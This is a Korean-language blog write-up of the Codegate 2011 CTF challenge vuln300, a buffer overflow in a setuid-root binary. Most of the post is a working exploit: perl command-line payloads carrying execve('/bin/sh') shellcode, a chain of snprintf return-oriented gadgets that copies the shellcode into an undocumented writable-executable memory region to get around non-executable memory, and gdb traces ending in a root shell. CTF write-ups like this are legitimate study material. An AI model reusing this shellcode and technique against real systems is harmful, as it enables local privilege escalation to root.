지난 주말 코드게이트 2011 YUT 챌린지에 간단한 bof 문제(vuln300)가 나왔다.

많은 팀들이 rop와 data reuse way를 사용해서 exploit했던 문제인데,

우리팀 ( One-eyed Jack, 애꾸눈 잭 )에서 푼 방법을 소개하면서, 

간단히 쉘코드를 사용해서 푸는 방법을 소개한다.


먼저 간단한 분석이나 기타 다른 사항들은 많은 다른 팀들의 보고서나, writeup을 참고하기 바란다.


먼저 우리가 vuln300을 쳐발랐을 때의 상황이다.

user@ubuntu:/home/vuln1$ ./vuln300 -us0m3b0dy -p15n0b0dy`perl -e 'print "A"x7,"\xe3"x4,"\x41"x4,"\x01"x4,"\xc8\xa0\x04\x08","\x31\xc0\xb0\x31\xcd\x80\x89
\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68
\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80","B"x336'`
 -fasdf -x`perl -e 'print"A"x0x1ff'` -y`perl -e 'print "A"x25,"\xbc\x84\x04\x08","\xb6\x89\x04\x08",
"\xbc\xa0\x04\x08","\x01"x4,"\xf8\x9f\x04\x08",
"\xbc\x84\x04\x08","\xb6\x89\x04\x08","\xb9\xa0\x04\x08",
"\x01"x4,"\x25\xa0\x04\x08","\xbc\x84\x04\x08",
"\xb6\x89\x04\x08","\x24\xa0\x04\x08","\x01"x4,"\xb8\xa0\x04\x08",
"\xb8\x89\x04\x08","\xb4\xa0\x04\x08","\xbc\x84\x04\x08","AAAA",
"\xb8\x89\x04\x08","\xb8\xa0\x04\x08","\x1a\x84\x04\x08"'`
id
whoami
Login accepted!
Adding new user to asdf...
New user AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA added to asdf!
$ uid=1337(vuln1) gid=5000(user) egid=1337(vuln1) groups=1337(vuln1),5000(user)
$ vuln1
$ newgrp
vuln1@ubuntu:/home/vuln1$ ls
flag.txt  vuln300
vuln1@ubuntu:/home/vuln1$ cat flag.txt
33f9876804c9a14e927e5d1d70a64ace
vuln1@ubuntu:/home/vuln1$


이 페이로드를 보고 많은 팀들이 mprotect의 널 처리를 어떻게 했는지 물어봐서,

mprotect 따위 안불렀다니, 의아해 하는 사람들이 많아서 이 writeup을 남긴다.


먼저 대부분의 리눅스 시스템은 maps 파일을 가지고 있고, exploit하는 사람들은 이 정보를

매우 굳게 믿는 경향이 있다.

이 포스팅은 이런 경향이 매우 위험한 것이라는 것을 보여줄 것이다.


우리팀은 우선 쉘코드를 사용했고, mprotect나 mmap과 같이 메모리의 속성을 변경하는

함수를 부르지 않았다 :)


일단 서버가 닫혀 있는 상황이라 내 맥북에 있는 우분투로 상황을 옮겨왔다.

실제 서버의 문제는 static하게 컴파일 되어 있어, rop등의 상황이 달라지지 않으며,

메모리 속성을 보여주어서 똑같은 메모리 상황이라는 것을 보여줄 것이다.


passket@passket-ubuntu:~/labs$ uname -a
Linux passket-ubuntu 2.6.35-22-generic #33-Ubuntu SMP Sun Sep 19 20:34:50 UTC 2010 i686 GNU/Linux

그렇다 우분투다

passket@passket-ubuntu:~/labs$ ls -al
합계 52
drwxr-xr-x  2 passket passket  4096 2011-03-10 17:16 .
drwxr-xr-x 31 passket passket  4096 2011-03-10 17:16 ..
-rw-r--r--  1 passket passket 24004 2011-03-10 16:20 dump
-rwxr-xr-x  1 passket passket  7178 2011-03-10 17:16 test
-rw-r--r--  1 passket passket   304 2011-03-10 17:16 test.c
-rwsr-xr-x  1 root    root     5496 2011-03-10 14:19 vuln300


날짜는 대회가 종료된 3월 10일이며, vuln300에는 root 권한의 suid가 걸려있다.

먼저 메모리 상황을 보겠다.


passket@passket-ubuntu:~/labs$ gdb ./vuln300 
GNU gdb (GDB) 7.2-ubuntu
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /home/passket/labs/vuln300...(no debugging symbols found)...done.
(gdb) b *0x8048940
Breakpoint 1 at 0x8048940
(gdb) r -us0m3b0dy -p15n0b0dyAAA`perl -e 'print "D"x44, "C"x444'` -fasdf -x`perl -e 'print"A"x0x1ff'` -y`perl -e 'print "A"x25, "RRRR"'`
Starting program: /home/passket/labs/vuln300 -us0m3b0dy -p15n0b0dyAAA`perl -e 'print "D"x44, "C"x444'` -fasdf -x`perl -e 'print"A"x0x1ff'` -y`perl -e 'print "A"x25, "RRRR"'`
Login accepted!
Adding new user to asdf...
New user AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA added to asdf!

Breakpoint 1, 0x08048940 in ?? ()
(gdb) info proc
process 2815
cmdline = '/home/passket/labs/vuln300'
cwd = '/home/passket/labs'
exe = '/home/passket/labs/vuln300'
(gdb) she cat /proc/2815/maps
002d9000-002da000 r-xp 00000000 00:00 0          [vdso]
008af000-008cb000 r-xp 00000000 08:01 651540     /lib/ld-2.12.1.so
008cb000-008cc000 r--p 0001b000 08:01 651540     /lib/ld-2.12.1.so
008cc000-008cd000 rw-p 0001c000 08:01 651540     /lib/ld-2.12.1.so
00e73000-00fca000 r-xp 00000000 08:01 651766     /lib/libc-2.12.1.so
00fca000-00fcc000 r--p 00157000 08:01 651766     /lib/libc-2.12.1.so
00fcc000-00fcd000 rw-p 00159000 08:01 651766     /lib/libc-2.12.1.so
00fcd000-00fd0000 rw-p 00000000 00:00 0 
08048000-08049000 r-xp 00000000 08:01 667099     /home/passket/labs/vuln300
08049000-0804a000 r--p 00000000 08:01 667099     /home/passket/labs/vuln300
0804a000-0804b000 rw-p 00001000 08:01 667099     /home/passket/labs/vuln300
b7807000-b7808000 rw-p 00000000 00:00 0 
b7815000-b7818000 rw-p 00000000 00:00 0 
bfca8000-bfcc9000 rw-p 00000000 00:00 0          [stack]


역시 예상했던 대로 rwx 메모리 따위 없다. 

그렇지만, 대부분의 리눅스에는 maps의 정보와는 다르게 rwx메모리가 존재한다. 

이 ubuntu 리눅스에서는 저 붉게 표시된 영역이 바로 rwx메모리가 존재하는 곳이다.

이에 관련한 이유는 후에 기회가 있으면 자세히 설명하도록 하겠다.

참고로, 우리팀은 페도라를 제외한 거의 대부분의 리눅스에서 rwx 메모리를 찾아놓고 있었다.


이제 우리는 snprintf를 이용해서 저 영역에 쉘코드를 복사한뒤 저 곳으로 

eip를 변경하여 쉘을 실행할 것이다.


먼저 다음의 영역을 보면 저 영역의 주소 하나가 고맙게도 메모리에 올라온다.

(gdb) x/32wx 0x08049ff8
0x8049ff8: 0x008cc918 0x008c2d80 0x08048432 0x00ee7a00
0x804a008: 0x00e89c00 0x00ee7740 0x08048472 0x00ebaa70
0x804a018: 0x00ee7910 0x00f0be50 0x00f90900 0x00ebaae0


또, 프로그램은 완전 감사하게도, -p옵션의 내용을 힙영역의 고정된 주소에 뿌려준다.

(gdb) x/32wx 0x804a098
0x804a098: 0x00000000 0x00000000 0x336d3073 0x79643062
0x804a0a8: 0x6e35313a 0x64306230 0x41414179 0x44444444
0x804a0b8: 0x44444444 0x44444444 0x44444444 0x44444444
0x804a0c8: 0x44444444 0x44444444 0x44444444 0x44444444
0x804a0d8: 0x44444444 0x44444444 0x43434343 0x43434343
0x804a0e8: 0x43434343 0x43434343 0x43434343 0x43434343
0x804a0f8: 0x43434343 0x43434343 0x43434343 0x43434343
0x804a108: 0x43434343 0x43434343 0x43434343 0x43434343

완전 감사하다 :)

우리는 이미 고정된 스택 영역을 확보했으므로, 이쪽으로 snprintf의 스택 프레임을 맞추고,

이를 통해 0x008cc918 에 쉘코드를 복사한 뒤, 그쪽으로 점프하겠다.


익스플로잇 하는데 고민해야 될 상황은 다음과 같다.


먼저, rwx 영역의 주소가 0x00을 포함하고 있으므로, 고정된 스택을 사용해서

snprintf로 0x00을 맞춰줘야 한다.


또,  snprintf 함수 자체가 스택을 굉장히 많이 사용하는데

-p옵션의 버퍼는 0x0804a000에 굉장히 가까워서 프로그램이 죽을 위험이 있다.


자, 이제 익스플로잇 해보자.

첫번째 snprintf를 불러 -p옵션의 버퍼를 좀더 뒤 영역으로 복사하도록 하겟다.

첫번째 RTL 페이로드는 다음과 같다.

"\xbc\x84\x04\x08", "\xb6\x89\x04\x08", "\x3c\xad\x04\x08", "\x01\x01\x01\x01", "\x8c\xa2\x04\x08", 
[snprint@plt], [pppr], [rw- 영역이면서 꽤 넓은곳], [0x01010101], [-p옵션의 버퍼]


다음으로는 rwx 영역의 주소를 복사한 고정된 영역에 복사한다.

"\xbc\x84\x04\x08", "\xb6\x89\x04\x08", "\x40\xad\x04\x08", "\x01\x01\x01\x01", "\xf8\x9f\x04\x08",
[snprint@plt], [pppr], [마지막 snprintf의 스택프레임이 될곳], [0x01010101], [rwx메모리의 주소가 있는곳]

그 다음에 고정된 스택으로 옮겨진 뒤에, snprintf를 한번 더 호출해야 하므로,  snprintf의 주소를 복사하겠다.

snprintf의 주소는 프로그램의 PLT에 잘 저장되어 있다.

(gdb) x/i 0x080484bc
   0x80484bc <snprintf@plt>: jmp    *0x804a024

이걸 이용해서 마지막 스택 프레임을 구성한다.

"\xbc\x84\x04\x08", "\xb6\x89\x04\x08", "\x38\xad\x04\x08", "\x01\x01\x01\x01", "\x24\xa0\x04\x08",
[snprint@plt], [pppr], [마지막 snprintf의 스택프레임이 될곳], [0x01010101], [snprint의 주소]


자 이렇게 구성된 스택프레임은 다음과 같다.

(gdb) x/32wx 0x0804ad38
0x804ad38: 0x00157ae0 0x43434343 0x00d2f918 0x01010101
0x804ad48: 0x0804a0b4


[snprint의 주소] [RRRR] [rwx메모리의 주소] [0x01010101] [-p옵션의 버퍼]

* 여기서 rwx영역의 주소는 실행시마다 다른 값을 가지지만 위에 언급한 주소에 계속해서 저장되기 때문에 문제는 없다 :)



이제 최종적으로 RRRR부분에 ret를 가르키는 주소를 넣어주고

-p 옵션의 버퍼에 쉘코드를 삽입해주면 아름다운 상황이 될것이다.

Starting program: /home/passket/labs/vuln300 -us0m3b0dy -p15n0b0dyAAA`perl -e 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80", "AAA", "C"x428, "\x1b\x84\x04\x08", "CCCC", "\x01\x01\x01\x01", "\xb4\xa0\x04\x08"'` -fasdf -x`perl -e 'print"A"x0x1ff'` -y`perl -e 'print "A"x25, "\xbc\x84\x04\x08", "\xb6\x89\x04\x08", "\x3c\xad\x04\x08", "\x01\x01\x01\x01", "\x8c\xa2\x04\x08", "\xbc\x84\x04\x08", "\xb6\x89\x04\x08", "\x40\xad\x04\x08", "\x01\x01\x01\x01", "\xf8\x9f\x04\x08", "\xbc\x84\x04\x08", "\xb6\x89\x04\x08", "\x38\xad\x04\x08", "\x01\x01\x01\x01", "\x24\xa0\x04\x08", "\xb8\x89\x04\x08", "\x34\xad\x04\x08", "\x1a\x84\x04\x08"'`

Breakpoint 2, 0x080489b6 in ?? ()
(gdb) c
Continuing.
Login accepted!
Adding new user to asdf...
New user AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA added to asdf!

Breakpoint 1, 0x08048940 in ?? ()
(gdb) c
Continuing.

Breakpoint 2, 0x080489b6 in ?? ()
(gdb) c
Continuing.

Breakpoint 2, 0x080489b6 in ?? ()
(gdb) c
Continuing.

Breakpoint 2, 0x080489b6 in ?? ()
(gdb) x/32wx 0x0408ad34
0x408ad34: Cannot access memory at address 0x408ad34
(gdb) x/32wx 0x0804ad34
0x804ad34: 0x00000000 0x00157ae0 0x0804841b 0x00def918
0x804ad44: 0x01010101 0x0804a0b4 0x00000000 0x00000000
0x804ad54: 0x00000000 0x00000000 0x00000000 0x00000000


(gdb) x/32wx 0x0804a0b4
0x804a0b4: 0x31b0c031 0xc38980cd 0xc031c189 0x80cd46b0
0x804a0c4: 0xd231c031 0x2f2f6850 0x2f686873 0x896e6962
0x804a0d4: 0x895350e3 0xcd0bb0e1 0x41414180 0x43434343
0x804a0e4: 0x43434343 0x43434343 0x43434343 0x43434343
0x804a0f4: 0x43434343 0x43434343 0x43434343 0x43434343
(gdb) x/i 0x0804841b
   0x804841b: ret  


자 이제 고정된 스택 프레임이 완성되었으므로, leaveret을 이용해서 이쪽을 잡아보자

다행히도 바이너리가 pop %ebp, ret을 포함하고 있기에 그 주소를 이용한다.


Starting program: /home/passket/labs/vuln300 -us0m3b0dy -p15n0b0dyAAA`perl -e 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80", "AAA", "C"x428, "\x1b\x84\x04\x08", "CCCC", "\x01\x01\x01\x01", "\xb4\xa0\x04\x08"'` -fasdf -x`perl -e 'print"A"x0x1ff'` -y`perl -e 'print "A"x25, "\xbc\x84\x04\x08", "\xb6\x89\x04\x08", "\x3c\xad\x04\x08", "\x01\x01\x01\x01", "\x8c\xa2\x04\x08", "\xbc\x84\x04\x08", "\xb6\x89\x04\x08", "\x40\xad\x04\x08", "\x01\x01\x01\x01", "\xf8\x9f\x04\x08", "\xbc\x84\x04\x08", "\xb6\x89\x04\x08", "\x38\xad\x04\x08", "\x01\x01\x01\x01", "\x24\xa0\x04\x08", "\xb8\x89\x04\x08", "\x34\xad\x04\x08", "\x1a\x84\x04\x08"'`

Breakpoint 2, 0x080489b6 in ?? ()
(gdb) c
Continuing.
Login accepted!
Adding new user to asdf...
New user AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA added to asdf!

Breakpoint 1, 0x08048940 in ?? ()
(gdb) c
Continuing.

Breakpoint 2, 0x080489b6 in ?? ()
(gdb) c
Continuing.

Breakpoint 2, 0x080489b6 in ?? ()
(gdb) c
Continuing.

Breakpoint 2, 0x080489b6 in ?? ()
(gdb) x/32wx $esp
0xbfcc918c: 0x0804ad38 0x01010101 0x0804a024 0x080489b8
0xbfcc919c: 0x0804ad34 0x0804841a 0x41405700 0x0afbce1d
0xbfcc91ac: 0x00000000 0x00000000 0x00000000 0x00000006
0xbfcc91bc: 0x080484e0 0x00000000 0x00b4ad90 0x00694c0b
0xbfcc91cc: 0x00b53ff4 0x00000006 0x080484e0 0x00000000
0xbfcc91dc: 0x08048501 0x080487ad 0x00000006 0xbfcc9204
0xbfcc91ec: 0x08048960 0x08048950 0x00b45b60 0xbfcc91fc
0xbfcc91fc: 0x00b54918 0x00000006 0xbfcc946b 0xbfcc9486
(gdb) x/i $eip
=> 0x80489b6: pop    %esi
(gdb) 
   0x80489b7: pop    %edi
(gdb) 
   0x80489b8: pop    %ebp
(gdb) 
   0x80489b9: ret    
(gdb) ni
0x080489b7 in ?? ()
(gdb) ni
0x080489b8 in ?? ()
(gdb) ni
0x080489b9 in ?? ()
(gdb) x/i $eip
=> 0x80489b9: ret    
(gdb) x/32wx $esp
0xbfcc9198: 0x080489b8 0x0804ad34 0x0804841a 0x41405700
0xbfcc91a8: 0x0afbce1d 0x00000000 0x00000000 0x00000000
0xbfcc91b8: 0x00000006 0x080484e0 0x00000000 0x00b4ad90
0xbfcc91c8: 0x00694c0b 0x00b53ff4 0x00000006 0x080484e0
0xbfcc91d8: 0x00000000 0x08048501 0x080487ad 0x00000006
0xbfcc91e8: 0xbfcc9204 0x08048960 0x08048950 0x00b45b60
0xbfcc91f8: 0xbfcc91fc 0x00b54918 0x00000006 0xbfcc946b
0xbfcc9208: 0xbfcc9486 0xbfcc9491 0xbfcc9687 0xbfcc968e
(gdb) ni
0x080489b8 in ?? ()
(gdb) x/i $eip
=> 0x80489b8: pop    %ebp
(gdb) 
   0x80489b9: ret    
(gdb) ni
0x080489b9 in ?? ()
(gdb) i r ebp
ebp            0x804ad34 0x804ad34
(gdb) x/32wx $esp
0xbfcc91a0: 0x0804841a 0x41405700 0x0afbce1d 0x00000000
0xbfcc91b0: 0x00000000 0x00000000 0x00000006 0x080484e0
0xbfcc91c0: 0x00000000 0x00b4ad90 0x00694c0b 0x00b53ff4
0xbfcc91d0: 0x00000006 0x080484e0 0x00000000 0x08048501
0xbfcc91e0: 0x080487ad 0x00000006 0xbfcc9204 0x08048960
0xbfcc91f0: 0x08048950 0x00b45b60 0xbfcc91fc 0x00b54918
0xbfcc9200: 0x00000006 0xbfcc946b 0xbfcc9486 0xbfcc9491
0xbfcc9210: 0xbfcc9687 0xbfcc968e 0xbfcc9890 0x00000000
(gdb) ni
0x0804841a in ?? ()
(gdb) x/i $eip
=> 0x804841a: leave  
(gdb) 
   0x804841b: ret    
(gdb) ni
0x0804841b in ?? ()
(gdb) ni
__snprintf (s=0xb54918 "", maxlen=16843009, 
    format=0x804a0b4 "1\300\260\061̀\211É\301\061\300\260F̀1\300\061\322Ph//shh/bin\211\343PS\211\341\260\v̀AAA", 'C' <repeats 156 times>...)
    at snprintf.c:30
30 snprintf.c: 그런 파일이나 디렉터리가 없습니다.
in snprintf.c
(gdb) x/32wx $esp
0x804ad3c: 0x0804841b 0x00b54918 0x01010101 0x0804a0b4
0x804ad4c: 0x00000000 0x00000000 0x00000000 0x00000000
0x804ad5c: 0x00000000 0x00000000 0x00000000 0x00000000
0x804ad6c: 0x00000000 0x00000000 0x00000000 0x00000000
0x804ad7c: 0x00000000 0x00000000 0x00000000 0x00000000
0x804ad8c: 0x00000000 0x00000000 0x00000000 0x00000000
0x804ad9c: 0x00000000 0x00000000 0x00000000 0x00000000
0x804adac: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb) 


자 이제 모든 상황이 맞았다.

실행해보자

passket@passket-ubuntu:~/labs$ ./vuln300 -us0m3b0dy -p15n0b0dyAAA`perl -e 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80", "AAA", "C"x428, "\x1b\x84\x04\x08", "CCCC", "\x01\x01\x01\x01", "\xb4\xa0\x04\x08"'` -fasdf -x`perl -e 'print"A"x0x1ff'` -y`perl -e 'print "A"x25, "\xbc\x84\x04\x08", "\xb6\x89\x04\x08", "\x3c\xad\x04\x08", "\x01\x01\x01\x01", "\x8c\xa2\x04\x08", "\xbc\x84\x04\x08", "\xb6\x89\x04\x08", "\x40\xad\x04\x08", "\x01\x01\x01\x01", "\xf8\x9f\x04\x08", "\xbc\x84\x04\x08", "\xb6\x89\x04\x08", "\x38\xad\x04\x08", "\x01\x01\x01\x01", "\x24\xa0\x04\x08", "\xb8\x89\x04\x08", "\x34\xad\x04\x08", "\x1a\x84\x04\x08"'`
Login accepted!
Adding new user to asdf...
New user AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA added to asdf!
# id
uid=0(root) gid=1000(passket) groups=0(root),4(adm),20(dialout),24(cdrom),46(plugdev),111(lpadmin),119(admin),122(sambashare),1000(passket)


깔끔하다 :)

이 페이로드는 문제 서버가 열려서도 같이 사용될 것이며, 

문제를 풀었을때의 페이로드도 기본 상황은 같은 형태로 푼것이다.

우리는 최신 리눅스 커널에서 mprotect계열의 함수를 부르지 않고 

쉘코드를 이용해서 쉘을 얻었다 XD


혹자들은 이제 bof류의 메모리 커럽션 버그의 종말을 예고하고,

더이상의 쉘코드는 사용하지 않을 것이라 말한다.


그렇지만, 

pwn2own에선 IE8의 aslr + dep와 sandbox 상황을 우회해서

쉘을 얻어내고 있으며,

수많은 익스플로잇은 새로운 기법을 예고하고 있다.

익스플로잇 기법은 이미 매우 다양해져 있다.


대부분의 해커가 알고 있듯이,

어떠한 방어 매커니즘이 나온다 하더라도,

우리는 새로운 길을 만들어 낼 것이다.


쉘코드의 시대는 끝이났다고 ?

천만에 말씀이다.

쉘코드의 시대는 이제 겨우 제 2막을 올렸을 뿐이다.

신고
« PREV : 1 : 2 : 3 : 4 : ··· : 32 : NEXT »

티스토리 툴바